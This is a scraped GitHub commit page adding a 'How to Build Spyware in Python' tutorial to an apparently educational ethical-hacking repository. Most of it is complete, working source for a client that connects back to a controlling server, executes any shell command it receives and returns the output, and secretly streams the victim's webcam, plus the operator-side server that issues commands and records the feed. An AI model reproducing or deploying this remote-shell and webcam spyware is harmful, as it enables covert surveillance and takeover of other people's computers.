Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit496d18a

Browse files
committed
add spyware tutorial
1 parent369c05e commit496d18a

File tree

5 files changed

+183
-0
lines changed

5 files changed

+183
-0
lines changed

‎README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
6464
-[How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python). ([code](ethical-hacking/find-past-wifi-connections-on-windows))
6565
-[How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python). ([code](ethical-hacking/pdf-metadata-remover))
6666
-[How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python). ([code](ethical-hacking/docx-metadata-extractor))
67+
-[How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python). ([code](ethical-hacking/spyware))
6768

6869
-###[Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
6970
-###[Natural Language Processing](https://www.thepythoncode.com/topic/nlp)

‎ethical-hacking/spyware/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
#[How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python)

‎ethical-hacking/spyware/client.py

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
importsocket# For network (client-server) communication.
2+
importos# For handling os executions.
3+
importsubprocess# For executing system commands.
4+
importcv2# For recording the video.
5+
importthreading# For recording the video in a different thread.
6+
importplatform# We use this to get the os of the target (client).
7+
8+
SERVER_HOST="127.0.0.1"# Server's IP address
9+
SERVER_PORT=4000
10+
BUFFER_SIZE=1024*128# 128KB max size of messages, you can adjust this.
11+
12+
# Separator string for sending 2 messages at a time.
13+
SEPARATOR="<sep>"
14+
15+
# Create the socket object.
16+
s=socket.socket()
17+
# Connect to the server.
18+
s.connect((SERVER_HOST,SERVER_PORT))
19+
20+
# Get the current directory and os and send it to the server.
21+
cwd=os.getcwd()
22+
targets_os=platform.system()
23+
s.send(cwd.encode())
24+
s.send(targets_os.encode())
25+
26+
# Function to record and send the video.
27+
defrecord_video():
28+
globalcap
29+
cap=cv2.VideoCapture(0)
30+
whileTrue:
31+
ret,frame=cap.read()
32+
ifnotret:
33+
break
34+
_,frame_bytes=cv2.imencode('.jpg',frame)
35+
frame_size=len(frame_bytes)
36+
s.sendall(frame_size.to_bytes(4,byteorder='little'))
37+
s.sendall(frame_bytes)
38+
cap.release()
39+
cv2.destroyAllWindows()
40+
41+
whileTrue:
42+
# receive the command from the server.
43+
command=s.recv(BUFFER_SIZE).decode()
44+
splited_command=command.split()
45+
ifcommand.lower()=="exit":
46+
# if the command is exit, just break out of the loop.
47+
break
48+
elifcommand.lower()=="start":
49+
# Start recording video in a separate thread
50+
recording_thread=threading.Thread(target=record_video)
51+
recording_thread.start()
52+
output="Video recording started."
53+
print(output)
54+
else:
55+
# execute the command and retrieve the results.
56+
output=subprocess.getoutput(command)
57+
# get the current working directory as output.
58+
cwd=os.getcwd()
59+
# send the results back to the server.
60+
message=f"{output}{SEPARATOR}{cwd}"
61+
s.send(message.encode())
62+
63+
# close client connection.
64+
s.close()
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
numpy
2+
opencv-python
Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
importsocket# For network (client-server) communication.
2+
importcv2# For video recording.
3+
importsignal# For handling the ctrl+c command when exiting the program.
4+
importthreading# For running the video recording in a seperate thread.
5+
importnumpyasnp# For working with video frames.
6+
7+
8+
# SERVER_HOST = "0.0.0.0" # Bind the server to all available network interfaces.
9+
# or if you want to test it locally, use 127.0.0.1
10+
SERVER_HOST="127.0.0.1"
11+
SERVER_PORT=4000
12+
BUFFER_SIZE=1024*128# 128KB max size of messages. You can adjust this to your taste
13+
14+
# Separator string for sending 2 messages at a time
15+
SEPARATOR="<sep>"
16+
17+
# Create the socket object.
18+
s=socket.socket()
19+
# Bind the socket to all IP addresses of this host.
20+
s.bind((SERVER_HOST,SERVER_PORT))
21+
# Make the PORT reusable
22+
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
23+
# Set maximum number of queued connections to 5.
24+
s.listen(5)
25+
print(f"Listening as{SERVER_HOST} on port{SERVER_PORT} ...")
26+
27+
# Accept any connections attempted.
28+
client_socket,client_address=s.accept()
29+
print(f"{client_address[0]}:{client_address[1]} Connected!")
30+
31+
# Receive the current working directory and os of the target (client).
32+
cwd=client_socket.recv(BUFFER_SIZE).decode()
33+
targets_os=client_socket.recv(BUFFER_SIZE).decode()
34+
35+
# Print the info received.
36+
print("[+] Current working directory: ",cwd)
37+
print("[+] Target's Operating system: ",targets_os)
38+
39+
# Set up the video capture and writer.
40+
cap=None
41+
out=None
42+
recording_thread=None
43+
44+
# Function to handle Ctrl+C signal.
45+
defsignal_handler(sig,frame):
46+
print('Saving video and exiting...')
47+
ifrecording_threadisnotNone:
48+
recording_thread.join()
49+
ifcapisnotNoneandoutisnotNone:
50+
cap.release()
51+
out.release()
52+
cv2.destroyAllWindows()
53+
client_socket.close()
54+
s.close()
55+
exit(0)
56+
57+
# Set up the signal handler.
58+
signal.signal(signal.SIGINT,signal_handler)
59+
60+
# Function to record and display the video.
61+
defrecord_video():
62+
globalout
63+
fourcc=cv2.VideoWriter_fourcc(*'mp4v')
64+
out=cv2.VideoWriter('output.mp4',fourcc,30.0, (640,480))
65+
whileTrue:
66+
# Receive the frame size.
67+
frame_size=int.from_bytes(client_socket.recv(4),byteorder='little')
68+
# Receive the frame data.
69+
frame_data=b''
70+
whilelen(frame_data)<frame_size:
71+
packet=client_socket.recv(min(BUFFER_SIZE,frame_size-len(frame_data)))
72+
ifnotpacket:
73+
break
74+
frame_data+=packet
75+
ifnotframe_data:
76+
break
77+
# Decode the frame.
78+
frame=cv2.imdecode(np.frombuffer(frame_data,dtype=np.uint8),cv2.IMREAD_COLOR)
79+
# Write the frame to the video file.
80+
out.write(frame)
81+
# Display the frame.
82+
cv2.imshow('Remote Camera Feed',frame)
83+
ifcv2.waitKey(1)&0xFF==ord('q'):
84+
break
85+
out.release()
86+
client_socket.close()
87+
cv2.destroyAllWindows()
88+
whileTrue:
89+
# Get the command from the user.
90+
command=input(f"{cwd} $> ")
91+
ifnotcommand.strip():
92+
# Empty command.
93+
continue
94+
# Send the command to the client.
95+
client_socket.send(command.encode())
96+
ifcommand.lower()=="exit":
97+
# If the command is exit, just break out of the loop.
98+
break
99+
elifcommand.lower()=="start":
100+
# Start recording video in a separate thread.
101+
recording_thread=threading.Thread(target=record_video)
102+
recording_thread.start()
103+
output="Video recording started."
104+
print(output)
105+
else:
106+
# Receive the results from the client.
107+
output=client_socket.recv(BUFFER_SIZE).decode()
108+
results,cwd=output.split(SEPARATOR)
109+
print(results)
110+
111+
# Close the connection to the client and server.
112+
ifrecording_threadisnotNone:
113+
recording_thread.join()
114+
client_socket.close()
115+
s.close()

0 commit comments

Comments
 (0)

[8]ページ先頭

©2009-2025 Movatter.jp